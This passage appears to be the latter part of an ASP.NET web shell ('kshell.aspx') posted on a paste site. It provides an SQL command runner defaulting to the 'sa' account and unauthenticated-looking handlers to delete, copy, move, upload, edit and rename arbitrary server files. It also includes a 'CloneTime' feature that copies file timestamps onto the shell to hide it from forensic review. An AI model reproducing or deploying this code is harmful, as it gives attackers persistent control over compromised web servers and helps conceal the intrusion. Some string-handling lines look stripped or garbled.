  1505. <asp:TextBox ID="ip" runat="server" Width="300" class="TextBox" Text="127.0.0.1"/></p>
  1506. <p>
  1507. SQL Name:
  1508. <asp:TextBox ID="SqlName" runat="server" Width="50" class="TextBox" Text='sa'/>
  1509. SQL Password:
  1510. <asp:TextBox ID="SqlPass" runat="server" Width="80" class="TextBox"/>
  1511. </p>
  1512. Command:
  1513. <asp:TextBox ID="Sqlcmd" runat="server" Width="300" class="TextBox"/>
  1514. <asp:Button ID="ButtonSQL" runat="server" Text="Run" OnClick="RunSQLCMD" class="buttom"/>
  1515. <p>
  1516. <asp:Label ID="resultSQL" runat="server" style="style2"/> </p>
  1517. </form>
  1518. <%
  1519. case "del"
  1520. dim a as string
  1521. a=request.QueryString("src")
  1522. call existdir(a)
  1523. call del(a)
  1524. response.Write("<script>alert(""Delete " & replace(a,"\","\\") & " Success!"");location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(a)) &"'</script>")
  1525. case "copy"
  1526. call existdir(request.QueryString("src"))
  1527. session("cutboard")="" & request.QueryString("src")
  1528. response.Write("<script>alert('File info have add the cutboard, go to target directory click paste!');location.href='JavaScript:self.close()';</script>")
  1529. case "cut"
  1530. call existdir(request.QueryString("src"))
  1531. session("cutboard")="" & request.QueryString("src")
  1532. response.Write("<script>alert('File info have add the cutboard, go to target directory click paste!');location.href='JavaScript:self.close()';</script>")
  1533. case "paste"
  1534. dim ow as integer
  1535. if request.Form("OverWrite")<>"" then ow=1
  1536. if request.Form("Cancel")<>"" then ow=2
  1537. url=request.QueryString("src")
  1538. call existdir(url)
  1539. dim d as string
  1540. d=session("cutboard")
  1541. if left(d,1)="" then
  1542. TEMP1=url & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
  1543. TEMP2=url & replace(path.getfilename(d),"","")
  1544. if right(d,1)="\" then
  1545. call xexistdir(TEMP1,ow)
  1546. directory.move(replace(d,"",""),TEMP1 & "\")
  1547. response.Write("<script>alert('Cut " & replace(replace(d,"",""),"\","\\") & " to " & replace(TEMP1 & "\","\","\\") & " success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1548. else
  1549. call xexistdir(TEMP2,ow)
  1550. file.move(replace(d,"",""),TEMP2)
  1551. response.Write("<script>alert('Cut " & replace(replace(d,"",""),"\","\\") & " to " & replace(TEMP2,"\","\\") & " success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1552. end if
  1553. else
  1554. TEMP1=url & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
  1555. TEMP2=url & path.getfilename(replace(d,"",""))
  1556. if right(d,1)="\" then
  1557. call xexistdir(TEMP1,ow)
  1558. directory.createdirectory(TEMP1)
  1559. call copydir(replace(d,"",""),TEMP1 & "\")
  1560. response.Write("<script>alert('Copy " & replace(replace(d,"",""),"\","\\") & " to " & replace(TEMP1 & "\","\","\\") & " success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1561. else
  1562. call xexistdir(TEMP2,ow)
  1563. file.copy(replace(d,"",""),TEMP2)
  1564. response.Write("<script>alert('Copy " & replace(replace(d,"",""),"\","\\") & " to " & replace(TEMP2,"\","\\") & " success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1565. end if
  1566. end if
  1567. case "upfile"
  1568. url=request.QueryString("src")
  1569. %>
  1570. <form name="UpFileForm" enctype="multipart/form-data" method="post" action="?src=<%=server.UrlEncode(url)%>" runat="server" onSubmit="return checkname();">
  1571. You will upload file to this directory : <span class="style3"><%=url%></span><br>
  1572. Please choose file from your computer :
  1573. <input name="upfile" type="file" class="TextBox" id="UpFile" runat="server">
  1574. <input type="submit" id="UpFileSubit" value="Upload" runat="server" onserverclick="UpLoad" class="buttom">
  1575. </form>
  1576. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back </a>
  1577. <%
  1578. case "new"
  1579. url=request.QueryString("src")
  1580. %>
  1581. <form runat="server">
  1582. <%=url%><br>
  1583. Name:
  1584. <asp:TextBox ID="NewName" TextMode="SingleLine" runat="server" class="TextBox"/>
  1585. <br>
  1586. <asp:RadioButton ID="NewFile" Text="File" runat="server" GroupName="New" Checked="true"/>
  1587. <asp:RadioButton ID="NewDirectory" Text="Directory" runat="server" GroupName="New"/>
  1588. <br>
  1589. <asp:Button ID="NewButton" Text="Submit" runat="server" CssClass="buttom" OnClick="NewFD"/>
  1590. <input name="Src" type="hidden" value="<%=url%>">
  1591. </form>
  1592. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1593. <%
  1594. case "edit"
  1595. dim b as string
  1596. b=request.QueryString("src")
  1597. call existdir(b)
  1598. dim myread as new streamreader(b,encoding.default)
  1599. filepath.text=b
  1600. content.text=myread.readtoend
  1601. %>
  1602. <form runat="server">
  1603. <table width="100%" border="1" align="center">
  1604. <tr> <td width="11%">Path</td>
  1605. <td width="89%">
  1606. <asp:TextBox CssClass="TextBox" ID="filepath" runat="server" Width="300"/>
  1607. *</td>
  1608. </tr>
  1609. <tr>
  1610. <td>Content</td>
  1611. <td> <asp:TextBox ID="content" Rows="25" Columns="100" TextMode="MultiLine" runat="server" CssClass="TextBox"/></td>
  1612. </tr>
  1613. <tr>
  1614. <td></td>
  1615. <td> <asp:Button ID="a" Text="Sumbit" runat="server" OnClick="Editor" CssClass="buttom"/>
  1616. </td>
  1617. </tr>
  1618. </table>
  1619. </form>
  1620. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1621. <%
  1622. myread.close
  1623. case "rename"
  1624. url=request.QueryString("src")
  1625. if request.Form("name")="" then
  1626. %>
  1627. <form name="formRn" method="post" action="?action=rename&src=<%=server.UrlEncode(request.QueryString("src"))%>" onSubmit="return checkname();">
  1628. <p>You will rename <span class="style3"><%=request.QueryString("src")%></span>to: <%=getparentdir(request.QueryString("src"))%>
  1629. <input type="text" name="name" class="TextBox">
  1630. <input type="submit" name="Submit3" value="Submit" class="buttom">
  1631. </p>
  1632. </form>
  1633. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1634. <script language="javascript">
  1635. function checkname()
  1636. {
  1637. if(formRn.name.value==""){alert("You shall input filename :(");return false}
  1638. }
  1639. </script>
  1640. <%
  1641. else
  1642. if Rename() then
  1643. response.Write("<script>alert('Rename " & replace(url,"\","\\") & " to " & replace(Getparentdir(url) & request.Form("name"),"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(url)) &"'</script>")
  1644. else
  1645. response.Write("<script>alert('Exist the same name file , rename fail :(');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(url)) &"'</script>")
  1646. end if
  1647. end if
  1648. case "samename"
  1649. url=request.QueryString("src")
  1650. %>
  1651. <form name="form1" method="post" action="?action=paste&src=<%=server.UrlEncode(url)%>">
  1652. <p class="style3">Exist the same name file , can you overwrite ?(If you click &quot; no&quot; , it will auto add a number as prefix)</p>
  1653. <input name="OverWrite" type="submit" id="OverWrite" value="Yes" class="buttom">
  1654. <input name="Cancel" type="submit" id="Cancel" value="No" class="buttom">
  1655. </form>
  1656. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1657. <%
  1658. case "clonetime"
  1659. time1.Text=request.QueryString("src")&"kshell.aspx"
  1660. time2.Text=request.QueryString("src")
  1661. %>
  1662. <form runat="server">
  1663. <p>[CloneTime for WebAdmin]<i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="javascript:history.back(1);">Back</a></i> </p>
  1664. <p>A tool that it copy the file or directory's time to another file or directory </p>
  1665. <p>Rework File or Dir:
  1666. <asp:TextBox CssClass="TextBox" ID="time1" runat="server" Width="300"/></p>
  1667. <p>Copied File or Dir:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1668. <asp:TextBox CssClass="TextBox" ID="time2" runat="server" Width="300"/></p>
  1669. <asp:Button ID="ButtonClone" Text="Submit" runat="server" CssClass="buttom" OnClick="CloneTime"/>
  1670. </form>
  1671. <p>
  1672. <%
  1673. case "logout"
  1674. session.Abandon()
  1675. response.Write("<script>alert(' Goodbye !');location.href='" & request.ServerVariables("URL") & "';</sc" & "ript>")
  1676. end select
  1677. end if
  1678. Catch error_x
  1679. response.Write("<font color=""red""><br>Wrong: </font>"&error_x.Message)
  1680. End Try
  1681. %>
  1682. </p>
  1683. </p>
  1684. <hr>
  1685. <script language="javascript">
  1686. function closewindow()
  1687. {self.close();}
  1688. </script>
  1689. </body>
  1690. </html>
Add Comment
Please, Sign In to add comment